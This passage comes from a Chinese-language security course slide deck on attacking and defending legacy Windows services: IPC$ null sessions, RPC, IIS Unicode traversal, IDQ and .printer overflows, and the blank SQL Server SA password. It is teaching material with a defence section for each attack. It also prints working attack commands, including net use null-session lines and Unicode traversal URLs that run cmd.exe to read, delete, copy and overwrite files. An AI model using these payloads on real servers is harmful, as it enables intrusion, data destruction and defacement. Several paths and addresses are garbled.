44、黑客來說并沒有什么太大的利用價值；對Windows2000作用更小，因為在 Windows 2000和以后版本中默認只有管理員和備份操作員有權從網絡訪問到注冊表，而且實現起來也不方便，需借助工具。第六十九張，PPT共一百零一頁，創(chuàng)作于2022年6月70單從上述描述來看，空會話好像并無多大用處，但從一次完整的IPC$入侵來看，空會話是一個不可缺少的跳板，以下是空會話中能夠使用的一些具體命令。(1)建立一個空會話（當然，這需要目標開放IPC$）。命令如下:net use ipipc$ /user:“(2)查看遠程主機的共享資源。命令如下:net view ip第七十張，PPT共一百零一頁，創(chuàng)作于2

45、022年6月71(3)查看遠程主機的當前時間。命令如下:net time ip(4)得到遠程主機的NetBIOS用戶名列表（需要打開自己的NBT）。命令如下:netstat A ip(5)刪除ipc$連接 net use ipipc$ /del 第七十一張，PPT共一百零一頁，創(chuàng)作于2022年6月724.4.3 RPC（Remote Procedure Call）漏洞攻擊與防御1.漏洞描述遠程過程調用（Remote Procedure Call，簡稱 RPC）是一種協(xié)議，程序可使用這種協(xié)議向網絡中的另一臺計算機上的程序請求服務。由于使用RPC的程序不必了解支持通信的網絡協(xié)議的情況，因此，RPC

46、提高了程序的互操作性。Microsoft的RPC部分在通過TCP/IP處理信息交換時存在問題，遠程攻擊者可以利用這個漏洞以本地系統(tǒng)權限在系統(tǒng)上執(zhí)行任意指令。RPC漏洞是由于 Windows RPC服務在某些情況下不能正確檢查消息輸入而造成的。如果攻擊者在RPC建立連接后發(fā)送某種類型的格式不正確的RPC消息，則會導致遠程計算機上與RPC之間的基礎分布式組件對象模型拒絕服務，分布式對象模型（DCOM）是一種能夠使軟件組件通過網絡直接進行通信的協(xié)議。 沖擊波（Worm.Blaster）病毒 和高波（Worm_Agobot）蠕蟲病毒也是針對此漏洞進行傳播，造成大范圍危害。 第七十二張，PPT共一百零一

47、頁，創(chuàng)作于2022年6月732.攻擊實現黑客也會利用此漏洞進行攻擊，通過Retina(R)就可以很容易掃描一個網段存在RPC漏洞隱患的機器。第七十三張，PPT共一百零一頁，創(chuàng)作于2022年6月74第七十四張，PPT共一百零一頁，創(chuàng)作于2022年6月753.防御RPC漏洞RPC采取以下一些措施可以有效防御RPC攻擊:(1)通過防火墻關閉135端口。(2)更新最新補丁。第七十五張，PPT共一百零一頁，創(chuàng)作于2022年6月764.5 針對IIS漏洞攻擊技術與防御技術Microsoft IIS是允許在公共Intranet或Internet上發(fā)布信息的Web服務器，IIS可以提供HTTP、FTP、gop

48、her服務。IIS本身的安全性能并不理想，漏洞層出不窮，如 MDAC弱點漏洞、idaidq漏洞、printer漏洞、Unicode編碼、目錄遍歷漏洞、WebDAV遠程緩沖區(qū)溢出漏洞等，使得針對IIS服務器的攻擊事件頻頻發(fā)生。第七十六張，PPT共一百零一頁，創(chuàng)作于2022年6月774.5.1 Unicode漏洞攻擊與防御1.漏洞分析Unicode為一個ISO國際標準，它包含了世界各國的常用文字，可支持數百萬個字碼。它的目的是統(tǒng)一世界各國的字符編碼。許多操作系統(tǒng)，最新的瀏覽器和其他產品都支持Unicode編碼。IIS 4.0、IIS5.0在使用Unicode解碼時存在一個安全漏洞，導致用戶可以遠程

49、通過IIS 執(zhí)行任意命令。當用戶用IIS打開文件時，如果該文件名包含Unicode字符，系統(tǒng)會對其進行解碼。如果用戶提供一些特殊的編碼請求，將導致IIS錯誤地打開或者執(zhí)行某些Web根目錄以外的文件。第七十七張，PPT共一百零一頁，創(chuàng)作于2022年6月78Unicode漏洞影響的版本有:從中文Windows IIS 4.0SP6開始，還影響中文Windows2000IIS5.0、中文Windows 2000IIS5.S+SP1。繁體中文版也同樣存在這樣的漏洞。它們利用擴展Unicode字符（如利用“./”取代“/”和“”）進行目錄遍歷漏洞?！啊痹赪indowsNT中編碼為%c1%9c，在 Win

50、dows 2000英文版中編碼為%c0%af。 第七十八張，PPT共一百零一頁，創(chuàng)作于2022年6月792.漏洞攻擊首先介紹入侵者在入侵存在UNICODE漏洞的服務器時所涉及到的有關命令，其實有些命令和在DOS下使用的命令是一樣的，但如cd這一類命令則不可用。下面以02作為攻擊的目標主機（存在UNICODE漏洞的服務器）介紹與UNICODE漏洞所涉及到的有關命令。第七十九張，PPT共一百零一頁，創(chuàng)作于2022年6月80(1)dir命令列出目標計算機的目錄。在瀏覽器的地址欄中輸入如下內容：02/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+dir+c:(2

51、)顯示下一個目錄可在瀏覽器的地址欄中輸入如下內容：02/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+dir+c:Inetpub(3)type命令顯示文件內容?？梢栽跒g覽器中顯示txt、htm、asp等格式的內容，如要顯示C盤下config.txt文件的內容，可在瀏覽器的地址欄中輸入如下內容：02/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+type +c:config.txt (4)del命令刪除文件命令。例如，要刪除C盤下的config.txt文件，可在瀏覽器的地址欄中輸入如下內容：02/scripts/.%

52、c1%1c./winnt/system32/cmd.exe?/c+del +c:config.txt 第八十張，PPT共一百零一頁，創(chuàng)作于2022年6月81(5)copy命令復制指定文件或同時將該文件改名，例如將c盤Winntsystem32下的cmd.exe程序復制到C盤Inetpubscripts下，并改名為win.exe，可在瀏覽器的地址欄中輸入如下內容：02/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+copy+c:winntsystem32cm d.exe c:inetpubscriptswin.exe(6)echo命令修改文件內容，例如修改

53、主機c:inetpubwwwrootindex.html網頁內容，可在瀏覽器的地址欄中輸入如下內容：02/scripts/.%c0%2f./winnt/system32/cmd.exe?/c+echo+內容+c:inetpubwwwrootindex.html第八十一張，PPT共一百零一頁，創(chuàng)作于2022年6月823.防御辦法在若系統(tǒng)存在Unicode漏洞，可采取如下方法進行補救:(1)限制網絡用戶訪問和調用CMD命令的權限；(2)若沒必要使用SCRIPTS和MSADC目錄，將其全部刪除或改名；(3)安裝Windows NT系統(tǒng)時不要使用默認winnt路徑，您可以改為其他的文件夾，如C:myw

54、indowsnt；(4)用戶可從Microsoft網站安裝補丁。第八十二張，PPT共一百零一頁，創(chuàng)作于2022年6月834.5.2 IDAIDQ緩沖區(qū)溢出漏洞攻擊與防御1.漏洞危害及成因作為安裝IIS過程的一部分，系統(tǒng)還會安裝幾個ISAPI擴展.dlls，其中 idq.dll是Index Server的一個組件，對管理員腳本和Internet數據查詢提供支持。但是，idq.dll在一段處理URL輸入的代碼中存在一個未經檢查的緩沖區(qū)，攻擊者利用此漏洞能導致受影響服務器產生緩沖區(qū)溢出，從而執(zhí)行自己提供的代碼。更為嚴重的是，idq.dll是以 System身份運行的，攻擊者可以利用此漏洞取得系統(tǒng)管理

55、員權限。 第八十三張，PPT共一百零一頁，創(chuàng)作于2022年6月842.攻擊實現如同所有的漏洞入侵過程一樣，先使用各種通用的漏洞掃描工具掃描出漏洞機器。然后到網絡上搜索針對該漏洞的利用工具，如溢出工具圖形界面的Snake IIS IDQ和命令行下的IIS idq或者Idq over等。實例 利用Snake IIS IDQ工具進行IDQ緩沖區(qū)溢出漏洞攻擊第八十四張，PPT共一百零一頁，創(chuàng)作于2022年6月85對于IDAIDQ漏洞的防御方法主要是下載相應補丁即可。第八十五張，PPT共一百零一頁，創(chuàng)作于2022年6月864.5.3 Pinter溢出漏洞入侵與防御1.漏洞成因及危害Windows 200

56、0 IIS5的打印ISAPI擴展接口建立了.printer擴展名到msw3prt.dll的映射關系，缺省情況下該映射存在。當遠程用戶提交對.printer的URL請求時，IIS5調用msw3prt.dll解釋該請求。由于msw3prt.dll缺乏足夠的緩沖區(qū)邊界檢查，遠程用戶可以提交一個精心構造的針對.printer的URL請求，其“Host:”域包含大約420字節(jié)的數據，此時在msw3prt.dll中發(fā)生典型的緩沖區(qū)溢出，潛在允許執(zhí)行任意代碼。溢出發(fā)生后，Web服務停止響應，Win2K可以檢查到Web服務停止響應，從而自動重啟它，因此，系統(tǒng)管理員很難意識到發(fā)生過攻擊。第八十六張，PPT共一百

57、零一頁，創(chuàng)作于2022年6月872.攻擊實現由于.printer漏洞只有 IIS5.0（Windows 2000 Server）存在，所以入侵者通過此漏洞入侵計算機只會針對IIS5.0進行。實例 利用.printer漏洞建立管理員組用戶第八十七張，PPT共一百零一頁，創(chuàng)作于2022年6月883. 防御辦法(1) 對于.printer溢出漏洞打相應補丁。(2) 手工刪除.printer，因為這個文件存在溢出漏洞。溢出漏洞是由于.printer后綴的腳本會輸送給msw3prt.dll，我們可以刪除.printer映射。在計算機的“控制面板”選擇“管理工具”下的“Internet服務管理器”，打開W

58、eb站點屬性對話框中的“主目錄”選項卡，單擊配置，找到.printer映射，如圖4-49所示，然后刪除即可。第八十八張，PPT共一百零一頁，創(chuàng)作于2022年6月894.6 Web應用漏洞攻擊技術與防御技術1.Microsoft SQL Server空口令漏洞描述Microsoft SQL Server是微軟的關系數據庫產品。所謂空口令漏洞，實際上并不是一個漏洞，而是管理員配置上的疏忽。在微軟的MS SQL-SERVER7.0以下的版本在默認安裝時，其SA（System Administrator）賬戶口令為空，所開端口為 1433，一個入侵者只需要使用一個MS SQL客戶端與SA口令為空的服務

59、器連接就可以獲得System的權限。第八十九張，PPT共一百零一頁，創(chuàng)作于2022年6月902.Microsoft SQL Server空口令攻擊實現攻擊者可以使用MS SQL客戶端或是第三方客戶端連接工具將空口令服務器的數據庫導出、增加管理員等操作，GUI的SqlExec.exe就是其中一款。實例 利用Microsoft SQL Server空口漏洞建立后門賬號第九十張，PPT共一百零一頁，創(chuàng)作于2022年6月913.漏洞防御(1)確保你的SA登錄賬號的密碼非空。只有你的SA登錄賬號沒有安全保障的時候蠕蟲才會工作。因此，你應該遵循在SQL Server聯機文檔中“系統(tǒng)管理員（SA）登錄”主題

60、中的推薦模式，確保固有的SA賬號具有一個強壯的密碼，即使是你自己從不使用SA賬號。(2)在你的互聯網網關或防火墻上屏蔽1433端口和/或指定SQL Server監(jiān)聽一個可選的端口。(3)假如在你的互聯網網關上需要利用1433端口，啟動用于防止此端口濫用的流入/流出過濾。(4)將SQLServer和SQL Server客戶端運行在微軟的Windows NT賬號下，而不是localsystem。(5)啟動Windows NT驗證，啟動監(jiān)聽成功和失敗的登錄，然后停止并重啟MSSQLServer服務。設置你的客戶端使用NT驗證。第九十一張，PPT共一百零一頁，創(chuàng)作于2022年6月924.6.2 Coo